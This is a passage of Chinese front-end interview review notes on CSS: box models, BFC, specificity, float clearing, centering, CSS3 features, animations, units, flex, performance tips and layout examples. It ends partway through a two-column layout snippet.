原文链接: https://interview.poetries.top/docs/base/high-frequency.html
一天快速复习完高频面试题
1 CSS
盒模型
- 有两种,
IE
盒子模型、W3C
盒子模型;- 盒模型: 内容(
content
)、填充(padding
)、边界(margin
)、 边框(border
);- 区 别:
IE
的content
部分把border
和padding
计算了进去;
标准盒子模型的模型图
从上图可以看到:
- 盒子总宽度 =
width
+padding
+border
+margin
; - 盒子总高度 =
height
+padding
+border
+margin
也就是,width/height
只是内容高度,不包含 padding
和 border
值
IE 怪异盒子模型
从上图可以看到:
- 盒子总宽度 =
width
+margin
; - 盒子总高度 =
height
+margin
;
也就是,width/height
包含了 padding
和 border
值
页面渲染时,
dom
元素所采用的 布局模型。可通过box-sizing
进行设置
通过 box-sizing 来改变元素的盒模型
CSS 中的 box-sizing
属性定义了引擎应该如何计算一个元素的总宽度和总高度
box-sizing: content-box;
默认的标准(W3C)盒模型元素效果,元素的width/height
不包含padding
,border
,与标准盒子模型表现一致box-sizing: border-box;
触发怪异(IE)盒模型元素的效果,元素的width/height
包含padding
,border
,与怪异盒子模型表现一致box-sizing: inherit;
继承父元素box-sizing
属性的值
小结
- 盒子模型构成:内容(
content
)、内填充(padding
)、 边框(border
)、外边距(margin
) IE8
及其以下版本浏览器,未声明DOCTYPE
,内容宽高会包含内填充和边框,称为怪异盒模型(IE
盒模型)- 标准(
W3C
)盒模型:元素宽度 =width + padding + border + margin
- 怪异(
IE
)盒模型:元素宽度 =width + margin
- 标准浏览器通过设置 css3 的
box-sizing: border-box
属性,触发“怪异模式”解析计算宽高
BFC
块级格式化上下文,是一个独立的渲染区域,让处于
BFC
内部的元素与外部的元素相互隔离,使内外元素的定位不会相互影响。
IE
下为Layout
,可通过zoom:1
触发
触发条件:
- 根元素,即HTML元素
- 绝对定位元素
position: absolute/fixed
- 行内块元素
display
的值为inline-block
、table
、flex
、inline-flex
、grid
、inline-grid
- 浮动元素:
float
值为left
、right
overflow值
不为visible
,为auto
、scroll
、hidden
规则:
- 属于同一个
BFC
的两个相邻Box
垂直排列 - 属于同一个
BFC
的两个相邻Box
的margin
会发生重叠 BFC
中子元素的margin box
的左边, 与包含块 (BFC)border box
的左边相接触 (子元素absolute
除外)
在CSS中,BFC代表"块级格式化上下文"(Block Formatting Context),是一个用于布局元素的概念。一个元素形成了BFC之后,会根据BFC的规则来进行布局和定位。在理解BFC中子元素的margin box
与包含块(BFC)的border box
相接触的概念时,可以考虑以下要点:
- 外边距折叠(Margin Collapsing): 在正常情况下,块级元素的外边距会折叠,即相邻元素的外边距会取两者之间的最大值,而不是简单相加。但是,当一个元素形成了BFC时,它的外边距不会和其内部的子元素的外边距折叠。
- 相邻边界情况: BFC中子元素的
margin box
的左边会与包含块的border box
的左边相接触,这意味着子元素的外边距不会穿过包含块的边界,从而保证布局的合理性。
下面是一个示例代码,帮助你更好地理解这个概念:
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" type="text/css" href="styles.css">
</head>
<body>
<div class="container">
<div class="child">Child Element</div>
</div>
</body>
</html>
CSS (styles.css
):
.container {
border: 2px solid black; /* 包含块的边框 */
overflow: hidden; /* 创建 BFC */
}
.child {
margin: 20px; /* 子元素的外边距 */
padding: 10px; /* 子元素的内边距 */
background-color: lightgray;
}
在这个示例中,.container
元素创建了一个BFC(通过设置overflow: hidden;
),而.child
是.container
的子元素。由于.child
的外边距和内边距,我们可以看到以下效果:
.child
元素的margin box
的外边界会与.container
的border box
的左边界相接触,这意味着.child
的外边距不会超出.container
的边界。- 由于
.container
创建了BFC,.child
的外边距不会与.container
的外边距折叠。
通过这个示例,你可以更好地理解BFC中子元素的margin box
与包含块的border box
之间的关系,以及BFC对布局的影响。
BFC
的区域不会与float
的元素区域重叠- 计算
BFC
的高度时,浮动子元素也参与计算 - 文字层不会被浮动层覆盖,环绕于周围
应用:
- 利用
2
:阻止margin
重叠 - 利用
4
:自适应两栏布局 - 利用
5
,可以避免高度塌陷 - 可以包含浮动元素 —— 清除内部浮动(清除浮动的原理是两个
div
都位于同一个BFC
区域之中)
示例
1. 防止margin重叠(塌陷)
<style>
p {
color: #f55;
background: #fcc;
width: 200px;
line-height: 100px;
text-align:center;
margin: 100px;
}
</style>
<body>
<p>Haha</p >
<p>Hehe</p >
</body>
- 两个
p
元素之间的距离为100px
,发生了margin
重叠(塌陷),以最大的为准,如果第一个P
的margin
为80
的话,两个P
之间的距离还是100
,以最大的为准。 - 同一个
BFC
的俩个相邻的盒子的margin
会发生重叠 - 可以在
p
外面包裹一层容器,并触发这个容器生成一个BFC
,那么两个p
就不属于同一个BFC
,则不会出现margin
重叠
<style>
.wrap {
overflow: hidden;// 新的BFC
}
p {
color: #f55;
background: #fcc;
width: 200px;
line-height: 100px;
text-align:center;
margin: 100px;
}
</style>
<body>
<p>Haha</p >
<div class="wrap">
<p>Hehe</p >
</div>
</body>
这时候,边距则不会重叠:
2. 清除内部浮动
<style>
.par {
border: 5px solid #fcc;
width: 300px;
}
.child {
border: 5px solid #f66;
width:100px;
height: 100px;
float: left;
}
</style>
<body>
<div class="par">
<div class="child"></div>
<div class="child"></div>
</div>
</body>
而BFC
在计算高度时,浮动元素也会参与,所以我们可以触发.par
元素生成BFC
,则内部浮动元素计算高度时候也会计算
.par {
overflow: hidden;
}
3. 自适应多栏布局
这里举个两栏的布局
<style>
body {
width: 300px;
position: relative;
}
.aside {
width: 100px;
height: 150px;
float: left;
background: #f66;
}
.main {
height: 200px;
background: #fcc;
}
</style>
<body>
<div class="aside"></div>
<div class="main"></div>
</body>
- 每个元素的左外边距与包含块的左边界相接触
- 因此,虽然
.aslide
为浮动元素,但是main的左边依然会与包含块的左边相接触,而BFC
的区域不会与浮动盒子重叠 - 所以我们可以通过触发
main
生成BFC
,以此适应两栏布局
.main {
overflow: hidden;
}
这时候,新的BFC
不会与浮动的.aside
元素重叠。因此会根据包含块的宽度,和.aside
的宽度,自动变窄
选择器权重计算方式
!important > 内联样式 = 外联样式 > ID选择器 > 类选择器 = 伪类选择器 = 属性选择器 > 元素选择器 = 伪元素选择器 > 通配选择器 = 后代选择器 = 兄弟选择器
- 属性后面加
!important
会覆盖页面内任何位置定义的元素样式 - 作为
style
属性写在元素内的样式 id
选择器- 类选择器
- 标签选择器
- 通配符选择器(
*
) - 浏览器自定义或继承
同一级别:后写的会覆盖先写的
css选择器的解析原则:选择器定位DOM元素是从右往左的方向,这样可以尽早的过滤掉一些不必要的样式规则和元素
清除浮动
- 在浮动元素后面添加
clear:both
的空div
元素
<div class="container">
<div class="left"></div>
<div class="right"></div>
<div style="clear:both"></div>
</div>
- 给父元素添加
overflow:hidden
或者auto
样式,触发BFC
<div class="container">
<div class="left"></div>
<div class="right"></div>
</div>
.container{
width: 300px;
background-color: #aaa;
overflow:hidden;
zoom:1; /*IE6*/
}
- 使用伪元素,也是在元素末尾添加一个点并带有
clear: both
属性的元素实现的。
<div class="container clearfix">
<div class="left"></div>
<div class="right"></div>
</div>
.clearfix{
zoom: 1; /*IE6*/
}
.clearfix:after{
content: ".";
height: 0;
clear: both;
display: block;
visibility: hidden;
}
推荐使用第三种方法,不会在页面新增div,文档结构更加清晰
垂直居中的方案
- 利用绝对定位+transform ,设置
left: 50%
和top: 50%
现将子元素左上角移到父元素中心位置,然后再通过translate
来调整子元素的中心点到父元素的中心。该方法可以不定宽高
.father {
position: relative;
}
.son {
position: absolute;
left: 50%;
top: 50%;
transform: translate(-50%, -50%);
}
- 利用绝对定位+margin:auto ,子元素所有方向都为
0
,将margin
设置为auto
,由于宽高固定,对应方向实现平分,该方法必须盒子有宽高
.father {
position: relative;
}
.son {
position: absolute;
top: 0;
left: 0;
right: 0;
bottom: 0px;
margin: auto;
height: 100px;
width: 100px;
}
- 利用绝对定位+margin:负值 ,设置
left: 50%
和top: 50%
现将子元素左上角移到父元素中心位置,然后再通过margin-left
和margin-top
以子元素自己的一半宽高进行负值赋值。该方法必须定宽高
.father {
position: relative;
}
.son {
position: absolute;
left: 50%;
top: 50%;
width: 200px;
height: 200px;
margin-left: -100px;
margin-top: -100px;
}
- 利用 flex ,最经典最方便的一种了,不用解释,定不定宽高无所谓
<style>
.father {
display: flex;
justify-content: center;
align-items: center;
width: 200px;
height: 200px;
background: skyblue;
}
.son {
width: 100px;
height: 100px;
background: red;
}
</style>
<div class="father">
<div class="son"></div>
</div>
- grid网格布局
<style>
.father {
display: grid;
align-items:center;
justify-content: center;
width: 200px;
height: 200px;
background: skyblue;
}
.son {
width: 10px;
height: 10px;
border: 1px solid red
}
</style>
<div class="father">
<div class="son"></div>
</div>
- table布局
设置父元素为display:table-cell
,子元素设置 display: inline-block
。利用vertical
和text- align
可以让所有的行内块级元素水平垂直居中
<style>
.father {
display: table-cell;
width: 200px;
height: 200px;
background: skyblue;
vertical-align: middle;
text-align: center;
}
.son {
display: inline-block;
width: 100px;
height: 100px;
background: red;
}
</style>
<div class="father">
<div class="son"></div>
</div>
小结
不知道元素宽高大小仍能实现水平垂直居中的方法有:
利用绝对定位+transform
flex
布局grid
布局
根据元素标签的性质,可以分为:
- 内联元素居中布局
- 块级元素居中布局
内联元素居中布局
- 水平居中
- 行内元素可设置:
text-align: center
flex
布局设置父元素:display: flex; justify-content: center
- 行内元素可设置:
- 垂直居中
- 单行文本父元素确认高度:
height === line-height
- 多行文本父元素确认高度:
display: table-cell; vertical-align: middle
- 单行文本父元素确认高度:
块级元素居中布局
- 水平居中
- 定宽:
margin: 0 auto
绝对定位+left:50%+margin:负自身一半
- 定宽:
- 垂直居中
position: absolute
设置left
、top
、margin-left
、margin-top
(定高)display: table-cell
transform: translate(x, y)
flex
(不定高,不定宽)grid
(不定高,不定宽),兼容性相对比较差
CSS3的新特性
1. 是什么
css,即层叠样式表(Cascading Style Sheets)的简称,是一种标记语言,由浏览器解释执行用来使页面变得更美观
css3
是css的最新标准,是向后兼容的,CSS1/2
的特性在 CSS3
里都是可以使用的
而 CSS3
也增加了很多新特性,为开发带来了更佳的开发体验
2. 选择器
css3
中新增了一些选择器,主要为如下图所示:
3. 新样式
- 边框
css3
新增了三个边框属性,分别是:border-radius
:创建圆角边框box-shadow
:为元素添加阴影border-image
:使用图片来绘制边框
- box-shadow 设置元素阴影,设置属性如下(其中水平阴影和垂直阴影是必须设置的)
- 水平阴影
- 垂直阴影
- 模糊距离(虚实)
- 阴影尺寸(影子大小)
- 阴影颜色
- 内/外阴影
- 背景 新增了几个关于背景的属性,分别是
background-clip
、background-origin
、background-size
和background-break
background-clip
用于确定背景画区,有以下几种可能的属性:通常情况,背景都是覆盖整个元素的,利用这个属性可以设定背景颜色或图片的覆盖范围background-clip: border-box
; 背景从border
开始显示background-clip: padding-box
; 背景从padding
开始显示background-clip: content-box
; 背景显content
区域开始显示background-clip: no-clip
; 默认属性,等同于border-box
background-origin
当我们设置背景图片时,图片是会以左上角对齐,但是是以border
的左上角对齐还是以padding
的左上角或者content
的左上角对齐?border-origin
正是用来设置这个的background-origin: border-box
; 从border
开始计算background-position
background-origin: padding-box
; 从padding
开始计算background-position
background-origin: content-box
; 从content
开始计算background-position
- 默认情况是
padding-box
,即以padding
的左上角为原点
background-size
常用来调整背景图片的大小,主要用于设定图片本身。有以下可能的属性:background-size: contain
; 缩小图片以适合元素(维持像素长宽比)background-size: cover
; 扩展元素以填补元素(维持像素长宽比)background-size: 100px 100px
; 缩小图片至指定的大小background-size: 50% 100%
; 缩小图片至指定的大小,百分比是相对包 含元素的尺寸
background-break
元素可以被分成几个独立的盒子(如使内联元素span
跨越多行),background-break
属性用来控制背景怎样在这些不同的盒子中显示background-break: continuous
; 默认值。忽略盒之间的距离(也就是像元素没有分成多个盒子,依然是一个整体一样)background-break: bounding-box
; 把盒之间的距离计算在内;background-break: each-box
; 为每个盒子单独重绘背景
- 文字
word-wrap: normal|break-word
normal
:使用浏览器默认的换行break-all
:允许在单词内换行
text-overflow
设置或检索当当前行超过指定容器的边界时如何显示,属性有两个值选择clip
:修剪文本ellipsis
:显示省略符号来代表被修剪的文本
text-shadow
可向文本应用阴影。能够规定水平阴影、垂直阴影、模糊距离,以及阴影的颜色text-decoration
CSS3里面开始支持对文字的更深层次的渲染,具体有三个属性可供设置:text-fill-color
: 设置文字内部填充颜色text-stroke-color
: 设置文字边界填充颜色text-stroke-width
: 设置文字边界宽度
- 颜色
css3
新增了新的颜色表示方式rgba
与hsla
rgba
分为两部分,rgb
为颜色值,a
为透明度hala
分为四部分,h
为色相,s
为饱和度,l
为亮度,a
为透明度
4. transition 过渡
transition
属性可以被指定为一个或多个CSS属性的过渡效果,多个属性之间用逗号进行分隔,必须规定两项内容:
- 过度效果
- 持续时间
transition: CSS属性,花费时间,效果曲线(默认ease),延迟时间(默认0)
上面为简写模式,也可以分开写各个属性
transition-property: width;
transition-duration: 1s;
transition-timing-function: linear;
transition-delay: 2s;
5. transform 转换
transform
属性允许你旋转,缩放,倾斜或平移给定元素transform-origin
:转换元素的位置(围绕那个点进行转换),默认值为(x,y,z):(50%,50%,0)
使用方式:
transform: translate(120px, 50%)
:位移transform: scale(2, 0.5)
:缩放transform: rotate(0.5turn)
:旋转transform: skew(30deg, 20deg)
:倾斜
6. animation 动画
动画这个平常用的也很多,主要是做一个预设的动画。和一些页面交互的动画效果,结果和过渡应该一样,让页面不会那么生硬
animation
也有很多的属性
animation-name
:动画名称animation-duration
:动画持续时间animation-timing-function
:动画时间函数animation-delay
:动画延迟时间animation-iteration-count
:动画执行次数,可以设置为一个整数,也可以设置为infinite,意思是无限循环animation-direction
:动画执行方向animation-paly-state
:动画播放状态animation-fill-mode
:动画填充模式
7. 渐变
颜色渐变是指在两个颜色之间平稳的过渡,css3
渐变包括
linear-gradient
:线性渐变background-image: linear-gradient(direction, color-stop1, color-stop2, ...)
;radial-gradient
:径向渐变linear-gradient(0deg, red, green)
8. 其他
Flex
弹性布局Grid
栅格布局- 媒体查询
@media screen and (max-width: 960px) {}
还有打印print
transition和animation的区别
Animation
和transition
大部分属性是相同的,他们都是随时间改变元素的属性值,他们的主要区别是transition
需要触发一个事件才能改变属性,而animation
不需要触发任何事件的情况下才会随时间改变属性值,并且transition
为2帧,从from .... to
,而animation
可以一帧一帧的
CSS动画和过渡
常见的动画效果有很多,如平移
、旋转
、缩放
等等,复杂动画则是多个简单动画的组合
css实现动画的方式,有如下几种:
transition
实现渐变动画transform
转变动画animation
实现自定义动画
1. transition 实现渐变动画
transition的属性如下:
transition-property:填写需要变化的css属性
transition-duration:完成过渡效果需要的时间单位(s或者ms)默认是 0
transition-timing-function:完成效果的速度曲线
transition-delay: (规定过渡效果何时开始。默认是
0)
一般情况下,我们都是写一起的,比如:
transition: width 2s ease 1s
其中timing-function
的值有如下:
值 | 描述 |
---|---|
linear | 匀速(等于 cubic-bezier(0,0,1,1) ) |
ease | 从慢到快再到慢(cubic-bezier(0.25,0.1,0.25,1) ) |
ease-in | 慢慢变快(等于 cubic-bezier(0.42,0,1,1) ) |
ease-out | 慢慢变慢(等于 cubic-bezier(0,0,0.58,1) ) |
ease-in-out | 先变快再到慢(等于 cubic-bezier(0.42,0,0.58,1) ),渐显渐隐效果 |
cubic-bezier(*n*,*n*,*n*,*n*) | 在 cubic-bezier 函数中定义自己的值。可能的值是 0 至 1 之间的数值 |
注意:并不是所有的属性都能使用过渡的,如display:none<->display:block
举个例子,实现鼠标移动上去发生变化动画效果
<style>
.base {
width: 100px;
height: 100px;
display: inline-block;
background-color: #0EA9FF;
border-width: 5px;
border-style: solid;
border-color: #5daf34;
transition-property: width, height, background-color, border-width;
transition-duration: 2s;
transition-timing-function: ease-in;
transition-delay: 500ms;
}
/*简写*/
/*transition: all 2s ease-in 500ms;*/
.base:hover {
width: 200px;
height: 200px;
background-color: #5daf34;
border-width: 10px;
border-color: #3a8ee6;
}
</style>
<div class="base"></div>
2. transform 转变动画
包含四个常用的功能:
translate(x,y)
:位移scale
:缩放rotate
:旋转skew
:倾斜
一般配合transition
过度使用
注意的是,
transform
不支持inline元
素,使用前把它变成block
举个例子
<style>
.base {
width: 100px;
height: 100px;
display: inline-block;
background-color: #0EA9FF;
border-width: 5px;
border-style: solid;
border-color: #5daf34;
transition-property: width, height, background-color, border-width;
transition-duration: 2s;
transition-timing-function: ease-in;
transition-delay: 500ms;
}
.base2 {
transform: none;
transition-property: transform;
transition-delay: 5ms;
}
.base2:hover {
transform: scale(0.8, 1.5) rotate(35deg) skew(5deg) translate(15px, 25px);
}
</style>
<div class="base base2"></div>
可以看到盒子发生了旋转,倾斜,平移,放大
3. animation 实现自定义动画
一个关键帧动画,最少包含两部分,
animation
属性及属性值(动画的名称和运行方式运行时间等)@keyframes
(规定动画的具体实现过程)
animation
是由 8
个属性的简写,分别如下:
属性 | 描述 | 属性值 |
---|---|---|
animation-duration | 指定动画完成一个周期所需要时间,单位秒(s )或毫秒(ms ),默认是 0 | |
animation-timing-function | 指定动画计时函数,即动画的速度曲线,默认是 "ease " | linear 、ease 、ease-in 、ease-out 、ease-in-out |
animation-delay | 指定动画延迟时间,即动画何时开始,默认是 0 | |
animation-iteration-count | 指定动画播放的次数,默认是 1 。但我们一般用infinite ,一直播放 | |
animation-direction 指定动画播放的方向 | 默认是 normal | normal 、reverse 、alternate 、alternate-reverse |
animation-fill-mode | 指定动画填充模式。默认是 none | forwards 、backwards 、both |
animation-play-state | 指定动画播放状态,正在运行或暂停。默认是 running | running 、pauser |
animation-name | 指定 @keyframes 动画的名称 |
CSS
动画只需要定义一些关键的帧,而其余的帧,浏览器会根据计时函数插值计算出来,
@keyframes
定义关键帧,可以是from->to
(等同于0%
和100%
),也可以是从0%->100%
之间任意个的分层设置
因此,如果我们想要让元素旋转一圈,只需要定义开始和结束两帧即可:
@keyframes rotate{
from {
transform: rotate(0deg);
}
to {
transform: rotate(360deg);
}
}
from
表示最开始的那一帧,to
表示结束时的那一帧
也可以使用百分比刻画生命周期
@keyframes rotate{
0%{
transform: rotate(0deg);
}
50%{
transform: rotate(180deg);
}
100%{
transform: rotate(360deg);
}
}
定义好了关键帧后,下来就可以直接用它了:
animation: rotate 2s;
总结
属性 | 含义 |
---|---|
transition(过度) | 用于设置元素的样式过度,和animation 有着类似的效果,但细节上有很大的不同 |
transform(变形) | 用于元素进行旋转、缩放、移动或倾斜,和设置样式的动画并没有什么关系,就相当于color 一样用来设置元素的“外表” |
translate(移动) | 只是transform 的一个属性值,即移动 |
animation(动画) | 用于设置动画属性,他是一个简写的属性,包含6 个属性 |
4. 用css3动画使一个图片旋转
#loader {
display: block;
position: relative;
animation: spin 2s linear infinite;
}
@keyframes spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
有哪些方式(CSS)可以隐藏页面元素
opacity:0
:本质上是将元素的透明度将为0
,就看起来隐藏了,但是依然占据空间且可以交互display:none
: 这个是彻底隐藏了元素,元素从文档流中消失,既不占据空间也不交互,也不影响布局visibility:hidden
: 与上一个方法类似的效果,占据空间,但是不可以交互了overflow:hidden
: 这个只隐藏元素溢出的部分,但是占据空间且不可交互z-index:-9999
: 原理是将层级放到底部,这样就被覆盖了,看起来隐藏了transform:scale(0,0)
: 平面变换,将元素缩放为0
,但是依然占据空间,但不可交互
display: none 与 visibility: hidden 的区别
- 修改常规流中元素的
display
通常会造成文档重排。修改visibility
属性只会造成本元素的重绘 - 读屏器不会读取
display:none
;元素内容;会读取visibility:hidden;
元素内容 display:none
;会让元素完全从渲染树中消失,渲染的时候不占据任何空间;visibility:hidden
;不会让元素从渲染树消失,渲染时元素继续占据空间,只是内容不可见display:none
;是非继承属性,子孙节点消失由于元素从渲染树消失造成,通过修改子孙节点属性无法显示 ;visibility:hidden;
是继承属性,子孙节点消失由于继承了hidden
,通过设置visibility:visible;
可以让子孙节点显式
说说em/px/rem/vh/vw区别
- 传统的项目开发中,我们只会用到
px
、%
、em
这几个单位,它可以适用于大部分的项目开发,且拥有比较良好的兼容性 - 从
CSS3
开始,浏览器对计量单位的支持又提升到了另外一个境界,新增了rem
、vh
、vw
、vm
等一些新的计量单位 - 利用这些新的单位开发出比较良好的响应式页面,适应多种不同分辨率的终端,包括移动设备等
- 在
css
单位中,可以分为长度单位、绝对单位,如下表所指示
CSS单位 |
---|---
相对长度单位 | em
、ex
、ch
、rem
、vw
、vh
、vmin
、vmax
、%
绝对长度单位 | cm
、mm
、in
、px
、pt
、pc
这里我们主要讲述px
、em
、rem
、vh
、vw
px
px
,表示像素,所谓像素就是呈现在我们显示器上的一个个小点,每个像素点都是大小等同的,所以像素为计量单位被分在了绝对长度单位中
有些人会把px
认为是相对长度,原因在于在移动端中存在设备像素比,px
实际显示的大小是不确定的
这里之所以认为px
为绝对单位,在于px
的大小和元素的其他属性无关
em
em
是相对长度单位。相对于当前对象内文本的字体尺寸。如当前对行内文本的字体尺寸未被人为设置,则相对于浏览器的默认字体尺寸(1em = 16px
)
为了简化 font-size
的换算,我们需要在css
中的 body
选择器中声明font-size
= 62.5%
,这就使 em 值变为 16px*62.5% = 10px
这样 12px = 1.2em
, 10px = 1em
, 也就是说只需要将你的原来的px
数值除以 10,然后换上 em
作为单位就行了
特点:
em
的值并不是固定的em
会继承父级元素的字体大小em
是相对长度单位。相对于当前对象内文本的字体尺寸。如当前对行内文本的字体尺寸未被人为设置,则相对于浏览器的默认字体尺寸- 任意浏览器的默认字体高都是
16px
举个例子
<div class="big">
我是14px=1.4rem<div class="small">我是12px=1.2rem</div>
</div>
样式为
<style>
html {font-size: 10px; } /* 公式16px*62.5%=10px */
.big{font-size: 1.4rem}
.small{font-size: 1.2rem}
</style>
这时候.big
元素的font-size
为14px
,而.small
元素的font-size
为12px
rem(常用)
- 根据屏幕的分辨率动态设置
html
的文字大小,达到等比缩放的功能 - 保证
html
最终算出来的字体大小,不能小于12px
- 在不同的移动端显示不同的元素比例效果
- 如果
html
的font-size:20px
的时候,那么此时的1rem = 20px
- 把设计图的宽度分成多少分之一,根据实际情况
rem
做盒子的宽度,viewport
缩放
head
加入常见的meta
属性
<meta name="format-detection" content="telephone=no">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<!--这个是关键-->
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0,minimum-scale=1.0">
把这段代码加入head
中的script
预先加载
// rem适配用这段代码动态计算html的font-size大小
(function(win) {
var docEl = win.document.documentElement;
var timer = '';
function changeRem() {
var width = docEl.getBoundingClientRect().width;
if (width > 750) { // 750是设计稿大小
width = 750;
}
var fontS = width / 10; // 把设备宽度十等分 1rem<=75px
docEl.style.fontSize = fontS + "px";
}
win.addEventListener("resize", function() {
clearTimeout(timer);
timer = setTimeout(changeRem, 30);
}, false);
win.addEventListener("pageshow", function(e) {
if (e.persisted) { //清除缓存
clearTimeout(timer);
timer = setTimeout(changeRem, 30);
}
}, false);
changeRem();
})(window)
(function flexible (window, document) {
var docEl = document.documentElement
var dpr = window.devicePixelRatio || 1
// adjust body font size
function setBodyFontSize () {
if (document.body) {
document.body.style.fontSize = (12 * dpr) + 'px'
}
else {
document.addEventListener('DOMContentLoaded', setBodyFontSize)
}
}
setBodyFontSize();
// set 1rem = viewWidth / 10
function setRemUnit () {
var rem = docEl.clientWidth / 10
docEl.style.fontSize = rem + 'px'
}
setRemUnit()
// reset rem unit on page resize
window.addEventListener('resize', setRemUnit)
window.addEventListener('pageshow', function (e) {
if (e.persisted) {
setRemUnit()
}
})
// detect 0.5px supports
if (dpr >= 2) {
var fakeBody = document.createElement('body')
var testElement = document.createElement('div')
testElement.style.border = '.5px solid transparent'
fakeBody.appendChild(testElement)
docEl.appendChild(fakeBody)
if (testElement.offsetHeight === 1) {
docEl.classList.add('hairlines')
}
docEl.removeChild(fakeBody)
}
}(window, document))
vh、vw
vw
,就是根据窗口的宽度,分成100
等份,100vw
就表示满宽,50vw
就表示一半宽。(vw
始终是针对窗口的宽),同理,vh
则为窗口的高度
这里的窗口分成几种情况:
- 在桌面端,指的是浏览器的可视区域
- 移动端指的就是布局视口
像vw
、vh
,比较容易混淆的一个单位是%
,不过百分比宽泛的讲是相对于父元素:
- 对于普通定位元素就是我们理解的父元素
- 对于
position: absolute;
的元素是相对于已定位的父元素 - 对于
position: fixed;
的元素是相对于ViewPort
(可视窗口)
总结
- px :绝对单位,页面按精确像素展示
- % :相对于父元素的宽度比例
- em :相对单位,基准点为父节点字体的大小,如果自身定义了
font-size
按自身来计算(浏览器默认字体是16px
),整个页面内1em
不是一个固定的值 - rem :相对单位,可理解为
root em
, 相对根节点html
的字体大小来计算 - vh、vw :主要用于页面视口大小布局,在页面布局上更加方便简单
vw
:屏幕宽度的1%
vh
:屏幕高度的1%
vmin
:取vw
和vh
中较小的那个(如:10vh=100px 10vw=200px
则vmin=10vh=100px
)vmax
:取vw
和vh
中较大的那个(如:10vh=100px 10vw=200px
则vmax=10vw=200px
)
flex布局
很多时候我们会用到 flex: 1
,它具体包含了以下的意思
flex-grow: 1
:该属性默认为0
,如果存在剩余空间,元素也不放大。设置为1
代表会放大。flex-shrink: 1
:该属性默认为 `1 ,如果空间不足,元素缩小。flex-basis: 0%
:该属性定义在分配多余空间之前,元素占据的主轴空间。浏览器就是根据这个属性来计算是否有多余空间的。默认值为auto
,即项目本身大小。设置为0%
之后,因为有flex-grow
和flex-shrink
的设置会自动放大或缩小。在做两栏布局时,如果右边的自适应元素flex-basis
设为auto
的话,其本身大小将会是0
如果要做优化,CSS提高性能的方法有哪些?
实现方式有很多种,主要有如下:
- 内联首屏关键CSS
- 在打开一个页面,页面首要内容出现在屏幕的时间影响着用户的体验,而通过内联
css
关键代码能够使浏览器在下载完html
后就能立刻渲染 - 而如果外部引用
css
代码,在解析html
结构过程中遇到外部css
文件,才会开始下载css
代码,再渲染 - 所以,
CSS
内联使用使渲染时间提前 - 注意:但是较大的
css
代码并不合适内联(初始拥塞窗口、没有缓存),而其余代码则采取外部引用方式
- 在打开一个页面,页面首要内容出现在屏幕的时间影响着用户的体验,而通过内联
- 异步加载CSS
- 在CSS文件请求、下载、解析完成之前,CSS会阻塞渲染,浏览器将不会渲染任何已处理的内容
- 前面加载内联代码后,后面的外部引用css则没必要阻塞浏览器渲染。这时候就可以采取异步加载的方案,主要有如下:
- 使用javascript将
link
标签插到head
标签最后
- 使用javascript将
// 创建link标签
const myCSS = document.createElement( "link" );
myCSS.rel = "stylesheet";
myCSS.href = "mystyles.css";
// 插入到header的最后位置
document.head.insertBefore( myCSS, document.head.childNodes[ document.head.childNodes.length - 1 ].nextSibling )
* 设置`link`标签`media`属性为`noexis`,浏览器会认为当前样式表不适用当前类型,会在不阻塞页面渲染的情况下再进行下载。加载完成后,将media的值设为`screen`或`all`,从而让浏览器开始解析CSS
<link rel="stylesheet" href="mystyles.css" media="noexist" onload="this.media='all'">
* 通过`rel`属性将`link`元素标记为`alternate`可选样式表,也能实现浏览器异步加载。同样别忘了加载完成之后,将`rel`设回`stylesheet`
<link rel="alternate stylesheet" href="mystyles.css" onload="this.rel='stylesheet'">
- 资源压缩
- 利用
webpack
、gulp/grunt
、rollup
等模块化工具,将css
代码进行压缩,使文件变小,大大降低了浏览器的加载时间
- 利用
- 合理使用选择器
- css匹配的规则是从右往左开始匹配,例如
#markdown .content h3
匹配规则如下:- 先找到
h3
标签元素 - 然后去除祖先不是
.content
的元素 - 最后去除祖先不是
#markdown
的元素
- 先找到
- 如果嵌套的层级更多,页面中的元素更多,那么匹配所要花费的时间代价自然更高
- 所以我们在编写选择器的时候,可以遵循以下规则:
- 不要嵌套使用过多复杂选择器,最好不要三层以上
- 使用id选择器就没必要再进行嵌套
- 通配符和属性选择器效率最低,避免使用
- css匹配的规则是从右往左开始匹配,例如
- 减少使用昂贵的属性
- 在页面发生重绘的时候,昂贵属性如
box-shadow/border-radius/filter/透明度/:nth-child
等,会降低浏览器的渲染性能
- 在页面发生重绘的时候,昂贵属性如
- 不要使用@import
- css样式文件有两种引入方式,一种是
link
元素,另一种是@import
@import
会影响浏览器的并行下载,使得页面在加载时增加额外的延迟,增添了额外的往返耗时- 而且多个
@import
可能会导致下载顺序紊乱 - 比如一个css文件
index.css
包含了以下内容:@import url("reset.css")
- 那么浏览器就必须先把
index.css
下载、解析和执行后,才下载、解析和执行第二个文件reset.css
- css样式文件有两种引入方式,一种是
- 其他
- 减少重排操作,以及减少不必要的重绘
- 了解哪些属性可以继承而来,避免对这些属性重复编写
css Sprite
,合成所有icon
图片,用宽高加上backgroud-position
的背景图方式显现出我们要的icon
图,减少了http
请求- 把小的
icon
图片转成base64
编码 - CSS3动画或者过渡尽量使用
transform
和opacity
来实现动画,不要使用left
和top
属性
画一条 0.5px 的线
- 采用
meta viewport
的方式<meta name="viewport" content="initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
- 采用
border-image
的方式 - 采用
transform: scale()
的方式
如何画一个三角形
三角形原理:边框的均分原理
div {
width:0px;
height:0px;
border-top:10px solid red;
border-right:10px solid transparent;
border-bottom:10px solid transparent;
border-left:10px solid transparent;
}
两栏布局:左边定宽,右边自适应方案
<div class="box">
<div class="box-left"></div>
<div class="box-right"></div>
</div>
利用float + margin实现
.box {
height: 200px;
}
.box > div {
height: 100%;
}
.box-left {
width: 200px;
float: left;
background-color: blue;
}
.box-right {
margin-left: 200px;
background-color: red;
}
利用calc计算宽度
.box {
height: 200px;
}
.box > div {
height: 100%;
}
.box-left {
width: 200px;
float: left;
background-color: blue;
}
.box-right {
width: calc(100% - 200px);
float: right;
background-color: red;
}
利用float + overflow实现
.box {
height: 200px;
}
.box > div {
height: 100%;
}
.box-left {
width: 200px;
float: left;
background-color: blue;
}
.box-right {
overflow: hidden;
background-color: red;
}
利用flex实现
.box {
height: 200px;
display: flex;
}
.box > div {
